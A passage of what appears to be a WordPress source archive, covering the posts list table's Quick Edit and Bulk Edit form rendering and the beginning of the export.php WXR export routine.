	/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 *
	 * @global string $mode List table view mode.
	 */
	public function inline_edit() {
		global $mode;

		$screen = $this->screen;

		$post             = get_default_post_to_edit( $screen->post_type );
		$post_type_object = get_post_type_object( $screen->post_type );

		$taxonomy_names          = get_object_taxonomies( $screen->post_type );
		$hierarchical_taxonomies = array();
		$flat_taxonomies         = array();

		foreach ( $taxonomy_names as $taxonomy_name ) {
			$taxonomy = get_taxonomy( $taxonomy_name );

			$show_in_quick_edit = $taxonomy->show_in_quick_edit;

			/**
			 * Filters whether the current taxonomy should be shown in the Quick Edit panel.
			 *
			 * @since 4.2.0
			 *
			 * @param bool   $show_in_quick_edit Whether to show the current taxonomy in Quick Edit.
			 * @param string $taxonomy_name      Taxonomy name.
			 * @param string $post_type          Post type of current Quick Edit post.
			 */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $show_in_quick_edit, $taxonomy_name, $screen->post_type ) ) {
				continue;
			}

			if ( $taxonomy->hierarchical ) {
				$hierarchical_taxonomies[] = $taxonomy;
			} else {
				$flat_taxonomies[] = $taxonomy;
			}
		}

		$m            = ( isset( $mode ) && 'excerpt' === $mode ) ? 'excerpt' : 'list';
		$can_publish  = current_user_can( $post_type_object->cap->publish_posts );
		$core_columns = array(
			'cb'         => true,
			'date'       => true,
			'title'      => true,
			'categories' => true,
			'tags'       => true,
			'comments'   => true,
			'author'     => true,
		);
		?>

		<form method="get">
		<table style="display: none"><tbody id="inlineedit">
		<?php
		$hclass              = count( $hierarchical_taxonomies ) ? 'post' : 'page';
		$inline_edit_classes = "inline-edit-row inline-edit-row-$hclass";
		$bulk_edit_classes   = "bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}";
		$quick_edit_classes  = "quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}";

		$bulk = 0;

		while ( $bulk < 2 ) :
			$classes  = $inline_edit_classes . ' ';
			$classes .= $bulk ? $bulk_edit_classes : $quick_edit_classes;
			?>
			<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="<?php echo $classes; ?>" style="display: none">
			<td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
			<div class="inline-edit-wrapper" role="region" aria-labelledby="<?php echo $bulk ? 'bulk' : 'quick'; ?>-edit-legend">
			<fieldset class="inline-edit-col-left">
				<legend class="inline-edit-legend" id="<?php echo $bulk ? 'bulk' : 'quick'; ?>-edit-legend"><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></legend>
				<div class="inline-edit-col">

				<?php if ( post_type_supports( $screen->post_type, 'title' ) ) : ?>

					<?php if ( $bulk ) : ?>

						<div id="bulk-title-div">
							<div id="bulk-titles"></div>
						</div>

					<?php else : // $bulk ?>

						<label>
							<span class="title"><?php _e( 'Title' ); ?></span>
							<span class="input-text-wrap"><input type="text" name="post_title" class="ptitle" value="" /></span>
						</label>

						<?php if ( is_post_type_viewable( $screen->post_type ) ) : ?>

							<label>
								<span class="title"><?php _e( 'Slug' ); ?></span>
								<span class="input-text-wrap"><input type="text" name="post_name" value="" autocomplete="off" spellcheck="false" /></span>
							</label>

						<?php endif; // is_post_type_viewable() ?>

					<?php endif; // $bulk ?>

				<?php endif; // post_type_supports( ... 'title' ) ?>

				<?php if ( ! $bulk ) : ?>
					<fieldset class="inline-edit-date">
						<legend><span class="title"><?php _e( 'Date' ); ?></span></legend>
						<?php touch_time( 1, 1, 0, 1 ); ?>
					</fieldset>
					<br class="clear" />
				<?php endif; // $bulk ?>

				<?php
				if ( post_type_supports( $screen->post_type, 'author' ) ) {
					$authors_dropdown = '';

					if ( current_user_can( $post_type_object->cap->edit_others_posts ) ) {
						$dropdown_name  = 'post_author';
						$dropdown_class = 'authors';
						if ( wp_is_large_user_count() ) {
							$authors_dropdown = sprintf( '<select name="%s" class="%s hidden"></select>', esc_attr( $dropdown_name ), esc_attr( $dropdown_class ) );
						} else {
							$users_opt = array(
								'hide_if_only_one_author' => false,
								'capability'              => array( $post_type_object->cap->edit_posts ),
								'name'                    => $dropdown_name,
								'class'                   => $dropdown_class,
								'multi'                   => 1,
								'echo'                    => 0,
								'show'                    => 'display_name_with_login',
							);

							if ( $bulk ) {
								$users_opt['show_option_none'] = __( '&mdash; No Change &mdash;' );
							}

							/**
							 * Filters the arguments used to generate the Quick Edit authors drop-down.
							 *
							 * @since 5.6.0
							 *
							 * @see wp_dropdown_users()
							 *
							 * @param array $users_opt An array of arguments passed to wp_dropdown_users().
							 * @param bool $bulk A flag to denote if it's a bulk action.
							 */
							$users_opt = apply_filters( 'quick_edit_dropdown_authors_args', $users_opt, $bulk );

							$authors = wp_dropdown_users( $users_opt );

							if ( $authors ) {
								$authors_dropdown  = '<label class="inline-edit-author">';
								$authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>';
								$authors_dropdown .= $authors;
								$authors_dropdown .= '</label>';
							}
						}
					} // current_user_can( 'edit_others_posts' )

					if ( ! $bulk ) {
						echo $authors_dropdown;
					}
				} // post_type_supports( ... 'author' )
				?>

				<?php if ( ! $bulk && $can_publish ) : ?>

					<div class="inline-edit-group wp-clearfix">
						<label class="alignleft">
							<span class="title"><?php _e( 'Password' ); ?></span>
							<span class="input-text-wrap"><input type="text" name="post_password" class="inline-edit-password-input" value="" /></span>
						</label>

						<span class="alignleft inline-edit-or">
							<?php
							/* translators: Between password field and private checkbox on post quick edit interface. */
							_e( '&ndash;OR&ndash;' );
							?>
						</span>
						<label class="alignleft inline-edit-private">
							<input type="checkbox" name="keep_private" value="private" />
							<span class="checkbox-title"><?php _e( 'Private' ); ?></span>
						</label>
					</div>

				<?php endif; ?>

				</div>
			</fieldset>

			<?php if ( count( $hierarchical_taxonomies ) && ! $bulk ) : ?>

				<fieldset class="inline-edit-col-center inline-edit-categories">
					<div class="inline-edit-col">

					<?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?>

						<span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ); ?></span>
						<input type="hidden" name="<?php echo ( 'category' === $taxonomy->name ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" />
						<ul class="cat-checklist <?php echo esc_attr( $taxonomy->name ); ?>-checklist">
							<?php wp_terms_checklist( 0, array( 'taxonomy' => $taxonomy->name ) ); ?>
						</ul>

					<?php endforeach; // $hierarchical_taxonomies as $taxonomy ?>

					</div>
				</fieldset>

			<?php endif; // count( $hierarchical_taxonomies ) && ! $bulk ?>

			<fieldset class="inline-edit-col-right">
				<div class="inline-edit-col">

				<?php
				if ( post_type_supports( $screen->post_type, 'author' ) && $bulk ) {
					echo $authors_dropdown;
				}
				?>

				<?php if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) : ?>

					<?php if ( $post_type_object->hierarchical ) : ?>

						<label>
							<span class="title"><?php _e( 'Parent' ); ?></span>
							<?php
							$dropdown_args = array(
								'post_type'         => $post_type_object->name,
								'selected'          => $post->post_parent,
								'name'              => 'post_parent',
								'show_option_none'  => __( 'Main Page (no parent)' ),
								'option_none_value' => 0,
								'sort_column'       => 'menu_order, post_title',
							);

							if ( $bulk ) {
								$dropdown_args['show_option_no_change'] = __( '&mdash; No Change &mdash;' );
							}

							/**
							 * Filters the arguments used to generate the Quick Edit page-parent drop-down.
							 *
							 * @since 2.7.0
							 * @since 5.6.0 The `$bulk` parameter was added.
							 *
							 * @see wp_dropdown_pages()
							 *
							 * @param array $dropdown_args An array of arguments passed to wp_dropdown_pages().
							 * @param bool  $bulk          A flag to denote if it's a bulk action.
							 */
							$dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args, $bulk );

							wp_dropdown_pages( $dropdown_args );
							?>
						</label>

					<?php endif; // hierarchical ?>

					<?php if ( ! $bulk ) : ?>

						<label>
							<span class="title"><?php _e( 'Order' ); ?></span>
							<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order; ?>" /></span>
						</label>

					<?php endif; // ! $bulk ?>

				<?php endif; // post_type_supports( ... 'page-attributes' ) ?>

				<?php if ( 0 < count( get_page_templates( null, $screen->post_type ) ) ) : ?>

					<label>
						<span class="title"><?php _e( 'Template' ); ?></span>
						<select name="page_template">
							<?php if ( $bulk ) : ?>
							<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
							<?php endif; // $bulk ?>
							<?php
							/** This filter is documented in wp-admin/includes/meta-boxes.php */
							$default_title = apply_filters( 'default_page_template_title', __( 'Default template' ), 'quick-edit' );
							?>
							<option value="default"><?php echo esc_html( $default_title ); ?></option>
							<?php page_template_dropdown( '', $screen->post_type ); ?>
						</select>
					</label>

				<?php endif; ?>

				<?php if ( count( $flat_taxonomies ) && ! $bulk ) : ?>

					<?php foreach ( $flat_taxonomies as $taxonomy ) : ?>

						<?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) : ?>
							<?php $taxonomy_name = esc_attr( $taxonomy->name ); ?>
							<div class="inline-edit-tags-wrap">
							<label class="inline-edit-tags">
								<span class="title"><?php echo esc_html( $taxonomy->labels->name ); ?></span>
								<textarea data-wp-taxonomy="<?php echo $taxonomy_name; ?>" cols="22" rows="1" name="tax_input[<?php echo esc_attr( $taxonomy->name ); ?>]" class="tax_input_<?php echo esc_attr( $taxonomy->name ); ?>" aria-describedby="inline-edit-<?php echo esc_attr( $taxonomy->name ); ?>-desc"></textarea>
							</label>
							<p class="howto" id="inline-edit-<?php echo esc_attr( $taxonomy->name ); ?>-desc"><?php echo esc_html( $taxonomy->labels->separate_items_with_commas ); ?></p>
							</div>
						<?php endif; // current_user_can( 'assign_terms' ) ?>

					<?php endforeach; // $flat_taxonomies as $taxonomy ?>

				<?php endif; // count( $flat_taxonomies ) && ! $bulk ?>

				<?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

					<?php if ( $bulk ) : ?>

						<div class="inline-edit-group wp-clearfix">

						<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>

							<label class="alignleft">
								<span class="title"><?php _e( 'Comments' ); ?></span>
								<select name="comment_status">
									<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
									<option value="open"><?php _e( 'Allow' ); ?></option>
									<option value="closed"><?php _e( 'Do not allow' ); ?></option>
								</select>
							</label>

						<?php endif; ?>

						<?php if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

							<label class="alignright">
								<span class="title"><?php _e( 'Pings' ); ?></span>
								<select name="ping_status">
									<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
									<option value="open"><?php _e( 'Allow' ); ?></option>
									<option value="closed"><?php _e( 'Do not allow' ); ?></option>
								</select>
							</label>

						<?php endif; ?>

						</div>

					<?php else : // $bulk ?>

						<div class="inline-edit-group wp-clearfix">

						<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>

							<label class="alignleft">
								<input type="checkbox" name="comment_status" value="open" />
								<span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span>
							</label>

						<?php endif; ?>

						<?php if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>

							<label class="alignleft">
								<input type="checkbox" name="ping_status" value="open" />
								<span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span>
							</label>

						<?php endif; ?>

						</div>

					<?php endif; // $bulk ?>

				<?php endif; // post_type_supports( ... comments or pings ) ?>

					<div class="inline-edit-group wp-clearfix">

						<label class="inline-edit-status alignleft">
							<span class="title"><?php _e( 'Status' ); ?></span>
							<select name="_status">
								<?php if ( $bulk ) : ?>
									<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
								<?php endif; // $bulk ?>

								<?php if ( $can_publish ) : // Contributors only get "Unpublished" and "Pending Review". ?>
									<option value="publish"><?php _e( 'Published' ); ?></option>
									<option value="future"><?php _e( 'Scheduled' ); ?></option>
									<?php if ( $bulk ) : ?>
										<option value="private"><?php _e( 'Private' ); ?></option>
									<?php endif; // $bulk ?>
								<?php endif; ?>

								<option value="pending"><?php _e( 'Pending Review' ); ?></option>
								<option value="draft"><?php _e( 'Draft' ); ?></option>
							</select>
						</label>

						<?php if ( 'post' === $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?>

							<?php if ( $bulk ) : ?>

								<label class="alignright">
									<span class="title"><?php _e( 'Sticky' ); ?></span>
									<select name="sticky">
										<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
										<option value="sticky"><?php _e( 'Sticky' ); ?></option>
										<option value="unsticky"><?php _e( 'Not Sticky' ); ?></option>
									</select>
								</label>

							<?php else : // $bulk ?>

								<label class="alignleft">
									<input type="checkbox" name="sticky" value="sticky" />
									<span class="checkbox-title"><?php _e( 'Make this post sticky' ); ?></span>
								</label>

							<?php endif; // $bulk ?>

						<?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_posts' ) ?>

					</div>

				<?php if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) : ?>
					<?php $post_formats = get_theme_support( 'post-formats' ); ?>

					<label class="alignleft">
						<span class="title"><?php _ex( 'Format', 'post format' ); ?></span>
						<select name="post_format">
							<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
							<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
							<?php if ( is_array( $post_formats[0] ) ) : ?>
								<?php foreach ( $post_formats[0] as $format ) : ?>
									<option value="<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></option>
								<?php endforeach; ?>
							<?php endif; ?>
						</select>
					</label>

				<?php endif; ?>

				</div>
			</fieldset>

			<?php
			list( $columns ) = $this->get_column_info();

			foreach ( $columns as $column_name => $column_display_name ) {
				if ( isset( $core_columns[ $column_name ] ) ) {
					continue;
				}

				if ( $bulk ) {

					/**
					 * Fires once for each column in Bulk Edit mode.
					 *
					 * @since 2.7.0
					 *
					 * @param string $column_name Name of the column to edit.
					 * @param string $post_type   The post type slug.
					 */
					do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type );
				} else {

					/**
					 * Fires once for each column in Quick Edit mode.
					 *
					 * @since 2.7.0
					 *
					 * @param string $column_name Name of the column to edit.
					 * @param string $post_type   The post type slug, or current screen name if this is a taxonomy list table.
					 * @param string $taxonomy    The taxonomy name, if any.
					 */
					do_action( 'quick_edit_custom_box', $column_name, $screen->post_type, '' );
				}
			}
			?>

			<div class="submit inline-edit-save">
				<?php if ( ! $bulk ) : ?>
					<?php wp_nonce_field( 'inlineeditnonce', '_inline_edit', false ); ?>
					<button type="button" class="button button-primary save"><?php _e( 'Update' ); ?></button>
				<?php else : ?>
					<?php submit_button( __( 'Update' ), 'primary', 'bulk_edit', false ); ?>
				<?php endif; ?>

				<button type="button" class="button cancel"><?php _e( 'Cancel' ); ?></button>

				<?php if ( ! $bulk ) : ?>
					<span class="spinner"></span>
				<?php endif; ?>

				<input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" />
				<input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" />
				<?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) : ?>
					<input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
				<?php endif; ?>

				<?php
				wp_admin_notice(
					'<p class="error"></p>',
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
						'paragraph_wrap'     => false,
					)
				);
				?>
			</div>
		</div> <!-- end of .inline-edit-wrapper -->

			</td></tr>

			<?php
			++$bulk;
		endwhile;
		?>
		</tbody></table>
		</form>
		<?php
	}
}
export.php000064400000057104150275632050006612 0ustar00<?php
/**
 * WordPress Export Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Version number for the export format.
 *
 * Bump this when something changes that might affect compatibility.
 *
 * @since 2.5.0
 */
define( 'WXR_VERSION', '1.2' );

/**
 * Generates the WXR export file for download.
 *
 * Default behavior is to export all content, however, note that post content will only
 * be exported for post types with the `can_export` argument enabled. Any posts with the
 * 'auto-draft' status will be skipped.
 *
 * @since 2.1.0
 * @since 5.7.0 Added the `post_modified` and `post_modified_gmt` fields to the export file.
 *
 * @global wpdb    $wpdb WordPress database abstraction object.
 * @global WP_Post $post Global post object.
 *
 * @param array $args {
 *     Optional. Arguments for generating the WXR export file for download. Default empty array.
 *
 *     @type string $content    Type of content to export. If set, only the post content of this post type
 *                              will be exported. Accepts 'all', 'post', 'page', 'attachment', or a defined
 *                              custom post. If an invalid custom post type is supplied, every post type for
 *                              which `can_export` is enabled will be exported instead. If a valid custom post
 *                              type is supplied but `can_export` is disabled, then 'posts' will be exported
 *                              instead. When 'all' is supplied, only post types with `can_export` enabled will
 *                              be exported. Default 'all'.
 *     @type string $author     Author to export content for. Only used when `$content` is 'post', 'page', or
 *                              'attachment'. Accepts false (all) or a specific author ID. Default false (all).
 *     @type string $category   Category (slug) to export content for. Used only when `$content` is 'post'. If
 *                              set, only post content assigned to `$category` will be exported. Accepts false
 *                              or a specific category slug. Default is false (all categories).
 *     @type string $start_date Start date to export content from. Expected date format is 'Y-m-d'. Used only
 *                              when `$content` is 'post', 'page' or 'attachment'. Default false (since the
 *                              beginning of time).
 *     @type string $end_date   End date to export content to. Expected date format is 'Y-m-d'. Used only when
 *                              `$content` is 'post', 'page' or 'attachment'. Default false (latest publish date).
 *     @type string $status     Post status to export posts for. Used only when `$content` is 'post' or 'page'.
 *                              Accepts false (all statuses except 'auto-draft'), or a specific status, i.e.
 *                              'publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', or
 *                              'trash'. Default false (all statuses except 'auto-draft').
 * }
 */
function export_wp( $args = array() ) {
	global $wpdb, $post;

	$defaults = array(
		'content'    => 'all',
		'author'     => false,
		'category'   => false,
		'start_date' => false,
		'end_date'   => false,
		'status'     => false,
	);
	$args     = wp_parse_args( $args, $defaults );

	/**
	 * Fires at the beginning of an export, before any headers are sent.
	 *
	 * @since 2.3.0
	 *
	 * @param array $args An array of export arguments.
	 */
	do_action( 'export_wp', $args );

	$sitename = sanitize_key( get_bloginfo( 'name' ) );
	if ( ! empty( $sitename ) ) {
		$sitename .= '.';
	}
	$date        = gmdate( 'Y-m-d' );
	$wp_filename = $sitename . 'WordPress.' . $date . '.xml';
	/**
	 * Filters the export filename.
	 *
	 * @since 4.4.0
	 *
	 * @param string $wp_filename The name of the file for download.
	 * @param string $sitename    The site name.
	 * @param string $date        Today's date, formatted.
	 */
	$filename = apply_filters( 'export_wp_filename', $wp_filename, $sitename, $date );

	header( 'Content-Description: File Transfer' );
	header( 'Content-Disposition: attachment; filename=' . $filename );
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );

	if ( 'all' !== $args['content'] && post_type_exists( $args['content'] ) ) {
		$ptype = get_post_type_object( $args['content'] );
		if ( ! $ptype->can_export ) {
			$args['content'] = 'post';
		}

		$where = $wpdb->prepare( "{$wpdb->posts}.post_type = %s", $args['content'] );
	} else {
		$post_types = get_post_types( array( 'can_export' => true ) );
		$esses      = array_fill( 0, count( $post_types ), '%s' );

		// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
		$where = $wpdb->prepare( "{$wpdb->posts}.post_type IN (" . implode( ',', $esses ) . ')', $post_types );
	}

	if ( $args['status'] && ( 'post' === $args['content'] || 'page' === $args['content'] ) ) {
		$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_status = %s", $args['status'] );
	} else {
		$where .= " AND {$wpdb->posts}.post_status != 'auto-draft'";
	}

	$join = '';
	if ( $args['category'] && 'post' === $args['content'] ) {
		$term = term_exists( $args['category'], 'category' );
		if ( $term ) {
			$join   = "INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)";
			$where .= $wpdb->prepare( " AND {$wpdb->term_relationships}.term_taxonomy_id = %d", $term['term_taxonomy_id'] );
		}
	}

	if ( in_array( $args['content'], array( 'post', 'page', 'attachment' ), true ) ) {
		if ( $args['author'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_author = %d", $args['author'] );
		}

		if ( $args['start_date'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date >= %s", gmdate( 'Y-m-d', strtotime( $args['start_date'] ) ) );
		}

		if ( $args['end_date'] ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date < %s", gmdate( 'Y-m-d', strtotime( '+1 month', strtotime( $args['end_date'] ) ) ) );
		}
	}

	// Grab a snapshot of post IDs, just in case it changes during the export.
	$post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} $join WHERE $where" );

	/*
	 * Get the requested terms ready, empty unless posts filtered by category
	 * or all content.
	 */
	$cats  = array();
	$tags  = array();
	$terms = array();
	if ( isset( $term ) && $term ) {
		$cat  = get_term( $term['term_id'], 'category' );
		$cats = array( $cat->term_id => $cat );
		unset( $term, $cat );
	} elseif ( 'all' === $args['content'] ) {
		$categories = (array) get_categories( array( 'get' => 'all' ) );
		$tags       = (array) get_tags( array( 'get' => 'all' ) );

		$custom_taxonomies = get_taxonomies( array( '_builtin' => false ) );
		$custom_terms      = (array) get_terms(
			array(
				'taxonomy' => $custom_taxonomies,
				'get'      => 'all',
			)
		);

		// Put categories in order with no child going before its parent.
		while ( $cat = array_shift( $categories ) ) {
			if ( ! $cat->parent || isset( $cats[ $cat->parent ] ) ) {
				$cats[ $cat->term_id ] = $cat;
			} else {
				$categories[] = $cat;
			}
		}

		// Put terms in order with no child going before its parent.
		while ( $t = array_shift( $custom_terms ) ) {
			if ( ! $t->parent || isset( $terms[ $t->parent ] ) ) {
				$terms[ $t->term_id ] = $t;
			} else {
				$custom_terms[] = $t;
			}
		}

		unset( $categories, $custom_taxonomies, $custom_terms );
	}

	/**
	 * Wraps given string in XML CDATA tag.
	 *
	 * @since 2.1.0
	 *
	 * @param string $str String to wrap in XML CDATA tag.
	 * @return string
	 */
	function wxr_cdata( $str ) {
		if ( ! seems_utf8( $str ) ) {
			$str = utf8_encode( $str );
		}
		// $str = ent2ncr(esc_html($str));
		$str = '<![CDATA[' . str_replace( ']]>', ']]]]><![CDATA[>', $str ) . ']]>';

		return $str;
	}

	/**
	 * Returns the URL of the site.
	 *
	 * @since 2.5.0
	 *
	 * @return string Site URL.
	 */
	function wxr_site_url() {
		if ( is_multisite() ) {
			// Multisite: the base URL.
			return network_home_url();
		} else {
			// WordPress (single site): the site URL.
			return get_bloginfo_rss( 'url' );
		}
	}

	/**
	 * Outputs a cat_name XML tag from a given category object.
	 *
	 * @since 2.1.0
	 *
	 * @param WP_Term $category Category Object.
	 */
	function wxr_cat_name( $category ) {
		if ( empty( $category->name ) ) {
			return;
		}

		echo '<wp:cat_name>' . wxr_cdata( $category->name ) . "</wp:cat_name>\n";
	}

	/**
	 * Outputs a category_description XML tag from a given category object.
	 *
	 * @since 2.1.0
	 *
	 * @param WP_Term $category Category Object.
	 */
	function wxr_category_description( $category ) {
		if ( empty( $category->description ) ) {
			return;
		}

		echo '<wp:category_description>' . wxr_cdata( $category->description ) . "</wp:category_description>\n";
	}

	/**
	 * Outputs a tag_name XML tag from a given tag object.
	 *
	 * @since 2.3.0
	 *
	 * @param WP_Term $tag Tag Object.
	 */
	function wxr_tag_name( $tag ) {
		if ( empty( $tag->name ) ) {
			return;
		}

		echo '<wp:tag_name>' . wxr_cdata( $tag->name ) . "</wp:tag_name>\n";
	}

	/**
	 * Outputs a tag_description XML tag from a given tag object.
	 *
	 * @since 2.3.0
	 *
	 * @param WP_Term $tag Tag Object.
	 */
	function wxr_tag_description( $tag ) {
		if ( empty( $tag->description ) ) {
			return;
		}

		echo '<wp:tag_description>' . wxr_cdata( $tag->description ) . "</wp:tag_description>\n";
	}

	/**
	 * Outputs a term_name XML tag from a given term object.
	 *
	 * @since 2.9.0
	 *
	 * @param WP_Term $term Term Object.
	 */
	function wxr_term_name( $term ) {
		if ( empty( $term->name ) ) {
			return;
		}

		echo '<wp:term_name>' . wxr_cdata( $term->name ) . "</wp:term_name>\n";
	}

	/**
	 * Outputs a term_description XML tag from a given term object.
	 *
	 * @since 2.9.0
	 *
	 * @param WP_Term $term Term Object.
	 */
	function wxr_term_description( $term ) {
		if ( empty( $term->description ) ) {
			return;
		}

		echo "\t\t<wp:term_description>" . wxr_cdata( $term->description ) . "</wp:term_description>\n";
	}

	/**
	 * Outputs term meta XML tags for a given term object.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param WP_Term $term Term object.
	 */
	function wxr_term_meta( $term ) {
		global $wpdb;

		$termmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->termmeta WHERE term_id = %d", $term->term_id ) );

		foreach ( $termmeta as $meta ) {
			/**
			 * Filters whether to selectively skip term meta used for WXR exports.
			 *
			 * Returning a truthy value from the filter will skip the current meta
			 * object from being exported.
			 *
			 * @since 4.6.0
			 *
			 * @param bool   $skip     Whether to skip the current piece of term meta. Default false.
			 * @param string $meta_key Current meta key.
			 * @param object $meta     Current meta object.
			 */
			if ( ! apply_filters( 'wxr_export_skip_termmeta', false, $meta->meta_key, $meta ) ) {
				printf( "\t\t<wp:termmeta>\n\t\t\t<wp:meta_key>%s</wp:meta_key>\n\t\t\t<wp:meta_value>%s</wp:meta_value>\n\t\t</wp:termmeta>\n", wxr_cdata( $meta->meta_key ), wxr_cdata( $meta->meta_value ) );
			}
		}
	}

	/**
	 * Outputs list of authors with posts.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int[] $post_ids Optional. Array of post IDs to filter the query by.
	 */
	function wxr_authors_list( array $post_ids = null ) {
		global $wpdb;

		if ( ! empty( $post_ids ) ) {
			$post_ids = array_map( 'absint', $post_ids );
			$and      = 'AND ID IN ( ' . implode( ', ', $post_ids ) . ')';
		} else {
			$and = '';
		}

		$authors = array();
		$results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_status != 'auto-draft' $and" );
		foreach ( (array) $results as $result ) {
			$authors[] = get_userdata( $result->post_author );
		}

		$authors = array_filter( $authors );

		foreach ( $authors as $author ) {
			echo "\t<wp:author>";
			echo '<wp:author_id>' . (int) $author->ID . '</wp:author_id>';
			echo '<wp:author_login>' . wxr_cdata( $author->user_login ) . '</wp:author_login>';
			echo '<wp:author_email>' . wxr_cdata( $author->user_email ) . '</wp:author_email>';
			echo '<wp:author_display_name>' . wxr_cdata( $author->display_name ) . '</wp:author_display_name>';
			echo '<wp:author_first_name>' . wxr_cdata( $author->first_name ) . '</wp:author_first_name>';
			echo '<wp:author_last_name>' . wxr_cdata( $author->last_name ) . '</wp:author_last_name>';
			echo "</wp:author>\n";
		}
	}

	/**
	 * Outputs all navigation menu terms.
	 *
	 * @since 3.1.0
	 */
	function wxr_nav_menu_terms() {
		$nav_menus = wp_get_nav_menus();
		if ( empty( $nav_menus ) || ! is_array( $nav_menus ) ) {
			return;
		}

		foreach ( $nav_menus as $menu ) {
			echo "\t<wp:term>";
			echo '<wp:term_id>' . (int) $menu->term_id . '</wp:term_id>';
			echo '<wp:term_taxonomy>nav_menu</wp:term_taxonomy>';
			echo '<wp:term_slug>' . wxr_cdata( $menu->slug ) . '</wp:term_slug>';
			wxr_term_name( $menu );
			echo "</wp:term>\n";
		}
	}

	/**
	 * Outputs list of taxonomy terms, in XML tag format, associated with a post.
	 *
	 * @since 2.3.0
	 */
	function wxr_post_taxonomy() {
		$post = get_post();

		$taxonomies = get_object_taxonomies( $post->post_type );
		if ( empty( $taxonomies ) ) {
			return;
		}
		$terms = wp_get_object_terms( $post->ID, $taxonomies );

		foreach ( (array) $terms as $term ) {
			echo "\t\t<category domain=\"{$term->taxonomy}\" nicename=\"{$term->slug}\">" . wxr_cdata( $term->name ) . "</category>\n";
		}
	}

	/**
	 * Determines whether to selectively skip post meta used for WXR exports.
	 *
	 * @since 3.3.0
	 *
	 * @param bool   $return_me Whether to skip the current post meta. Default false.
	 * @param string $meta_key  Meta key.
	 * @return bool
	 */
	function wxr_filter_postmeta( $return_me, $meta_key ) {
		if ( '_edit_lock' === $meta_key ) {
			$return_me = true;
		}
		return $return_me;
	}
	add_filter( 'wxr_export_skip_postmeta', 'wxr_filter_postmeta', 10, 2 );

	echo '<?xml version="1.0" encoding="' . get_bloginfo( 'charset' ) . "\" ?>\n";

	?>
<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
<!-- You may use this file to transfer that content from one site to another. -->
<!-- This file is not intended to serve as a complete backup of your site. -->

<!-- To import this information into a WordPress site follow these steps: -->
<!-- 1. Log in to that site as an administrator. -->
<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
<!-- 3. Install the "WordPress" importer from the list. -->
<!-- 4. Activate & Run Importer. -->
<!-- 5. Upload this file using the form provided on that page. -->
<!-- 6. You will first be asked to map the authors in this export file to users -->
<!--    on the site. For each author, you may choose to map to an -->
<!--    existing user on the site or to create a new user. -->
<!-- 7. WordPress will then import each of the posts, pages, comments, categories, etc. -->
<!--    contained in this file into your site. -->

	<?php the_generator( 'export' ); ?>
<rss version="2.0"
	xmlns:excerpt="http://wordpress.org/export/<?php echo WXR_VERSION; ?>/excerpt/"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
